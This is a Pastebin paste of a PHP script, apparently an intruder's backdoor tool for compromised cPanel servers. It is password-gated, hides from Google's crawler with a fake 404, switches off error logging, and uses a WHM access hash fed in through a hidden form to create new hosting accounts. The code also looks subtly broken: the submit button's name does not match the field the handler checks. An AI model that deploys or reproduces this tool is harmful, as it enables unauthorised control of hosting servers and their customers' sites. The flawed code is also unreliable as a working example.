janter13

Untitled

Jul 7th, 2014
309
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 6.12 KB | None | 0 0
  1. <?php
  2. /* (cPanel Account Creator - Recoded by MSP pass:" ./msp ") */
  3. $auth_pass = "7215ee9c7d9dc229d2921a40e899ec5f";
  4. $color = "maroon";
  5. $default_action = 'FilesMan';
  6. @define('SELF_PATH', __FILE__);
  7. if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {
  8.     header('HTTP/1.0 404 Not Found');
  9.     exit;
  10. }
  11. @session_start();
  12. @error_reporting(0);
  13. @ini_set('error_log',NULL);
  14. @ini_set('log_errors',0);
  15. @ini_set('max_execution_time',0);
  16. @ini_set('output_buffering',0);
  17. @ini_set('display_errors', 0);
  18. @set_time_limit(0);
  19. @set_magic_quotes_runtime(0);
  20. @define('VERSION', '2.1');
  21. if( get_magic_quotes_gpc() ) {
  22.     function stripslashes_array($array) {
  23.         return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
  24.     }
  25.     $_POST = stripslashes_array($_POST);
  26. }
  27. function printLogin() {
  28.     ?>
  29. <body BGCOLOR="#000000">
  30. <p><center><img src="msp.png" width="320" height="125"></center>
  31. <br/>
  32. <center><font color="lime" size="4"><b><i>You Don't Have Permission to Access this site! Please <u>Insert Password</u> to Continue!</i></b></font></center>
  33. <br/>
  34. <address></address>
  35. <style>
  36.         input { margin: 0; color: red; background-color: #fff; border: 3px inset #CCC; border-radius: 5px; }
  37.     </style>
  38.     <center>
  39.     <form method=post >
  40.     <input type=password name=pass >
  41.     </form></center>
  42.     <?php
  43.     exit;
  44. }
  45. if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
  46.     if( empty( $auth_pass ) ||
  47.         ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) )
  48.         $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
  49.     else
  50.         printLogin();
  51.  
  52.  
  53. set_time_limit(0);
  54. header('Content-Type: text/html; charset=UTF-8');
  55.  
  56. $whm_interface_path = '/usr/local/cpanel/Cpanel/Accounting.php.inc';
  57. function getVar($name, $def = '') {
  58.   if (isset($_REQUEST[$name]))
  59.     return $_REQUEST[$name];
  60.   else
  61.     return $def;
  62. }
  63.  
  64. ?>  
  65. <html>
  66. <head>
  67.   <title>./M-sang-P cpanel hash</title>
  68.   <META HTTP-EQUIV="CACHE-CONTROL" CONTENT="NO-CACHE">
  69.   <META HTTP-EQUIV="PRAGMA" CONTENT="NO-CACHE">
  70.   <link href='msp.png' rel='SHORTCUT ICON'/>
  71. </head>
  72.  
  73.  
  74.  
  75.   <style>
  76.     input { border: 2px inset #fff; border-radius: 10px; font-size: 17px; color: red; background: #000000; padding: 5px; }
  77.     body { font-size: 17px; font-family: monospace, trebuchet ms, arial; text-align: center; color: lime; background: #000000; }
  78.     textarea { border : inset 2px #fff; padding: 5px; }
  79.     .areaz { margin: auto; font-size: 17px; border: 2px inset #fff; width: 50%; border-radius: 10px; height: 150px; color: red; background: #000000; padding: 5px; }
  80.     .button { border: 2px outset #fff; border-radius: 10px; font-size: 17px; color: red; background: #000000; padding: 5px; }
  81.     #result {margin: 10px;}
  82.     #result span {display:block;}
  83.     #result .X {margin: 10px; background: #fff; border: 2px inset #fff; border-radius: 10px; color: red; text-align: justify; padding: 5px;}
  84.   </style>
  85.  
  86. <body onLoad="type_text()">
  87. <div id="result">
  88. <form method="post">
  89. <h1><font face="Audiowide"><b>[<font color="yellow">M-sang-P</font>]</b></font></h1>
  90. <hr>
  91. <b><u>create cPanel</u></b><br><br>
  92. <tr><td><b><center>Domain:</b></td> <td><center><input name="domain" size="20" type="text" value=""></td> <td><b><center>New User:</b></td> <td><center><input name="user" size="20" type="text" value=""></td> <td><b><center>Password:</b></td> <td><center><input name="password" size="20" type="text" value=""></td></tr>
  93. <br>
  94. <br>
  95. <input class="button" type="submit" name="msp" value="Create Account !">
  96. <br>
  97. <br>
  98. <center><img src="msp.png">
  99. <br />
  100. <!---Start code show hide by;"boedackpuchenbaroe"--->
  101. <div style="margin-bottom: 2px;">
  102. <div style="margin-top: 5px; text-align: center;">
  103. <input onclick="if (this.parentNode.parentNode.getElementsByTagName ('div')[1].getElementsByTagName('div')[0] .style.display != '') { this.parentNode.parentNode. getElementsByTagName('div')[1] .getElementsByTagName('div')[0].style.display = ''; this.innerText = ''; this.value = 'TUTUP'; } else { this.parentNode.parentNode. getElementsByTagName('div')[1] .getElementsByTagName('div')[0].style.display = 'none'; this.innerText = ''; this.value = 'Re-Coded by: Saint Regan'; }" style="font-size: 12px; margin-top: 5px; width: 40px;" type="button" value="Re-Coded by: ./MSP"> </div> <div style="background-color: #000000; border- bottom: 1px solid #40f; border-left: 4px solid #40f; border-right: 1px solid #40f; border-top: 1px solid #40f; margin: 0px; padding: 6px;"> <div style="display: none;"> <span style="color:lime; font-style: italic;">
  104. <textarea class="areaz" name="hash"></textarea>
  105. <br>
  106. <br>
  107. <center>
  108. <table border="0">
  109. <tr><td><b><center>Host:</b></td> <td><center><input name="host" size="20" type="text" value=""></td> <td><b><center>Admin User:</b></td> <td><center><input name="admin" size="20" type="text" value=""></td> <td><b><center>Package:<br></td> <td><center><input name="package" size="20" type="text" value=""></td></tr></div>
  110. </div>
  111. <!---End code show hide by;"boedackpuchenbaroe"---><br /><br />
  112. </table>
  113. </center>
  114. </form></div>
  115.  
  116. <?php
  117. set_time_limit(0);
  118. if(isset($_POST['rdpc'])){
  119. echo '<div id="result">';
  120. if (!isset($whm_user)) {
  121.   $whm_user = getVar('admin');
  122. }
  123. if (!isset($whm_host)) {
  124.   $whm_host = getVar('host');
  125. }
  126. $whm_usessl = 1;
  127. if (!isset($whm_key)) {
  128.   $whm_key = getVar('hash');
  129. }
  130. if (!isset($user_domain)) {
  131.   $user_domain = getVar('domain');
  132. }
  133. if (!isset($user_name)) {
  134.   $user_name = getVar('user');
  135. }
  136. if (!isset($user_pass)) {
  137.   $user_pass = getVar('password');
  138. }
  139. if (!isset($user_plan)) {
  140.   $user_plan = getVar('package');
  141. }
  142. if (!file_exists($whm_interface_path)) {
  143.   die($whm_interface_path . " does not exist. Please update program with correct path to your WHM interface file.");
  144. }
  145. if (!empty($user_name)) {
  146.   // load cPanel WHM interface functions
  147.   require_once $whm_interface_path;
  148.  
  149.   $result = createacct ($whm_host,$whm_user,$whm_key,$whm_usessl,$user_domain,$user_name,$user_pass,$user_plan);
  150. }
  151.   echo "<h2><b><u>RESULT:</u></b></h2> <span class=X>$result</span>";
  152.   echo "</div>";
  153. }
  154. ?>
  155.  
  156. <br>
  157. <hr>
  158. </body>
  159. </html>
Add Comment
Please, Sign In to add comment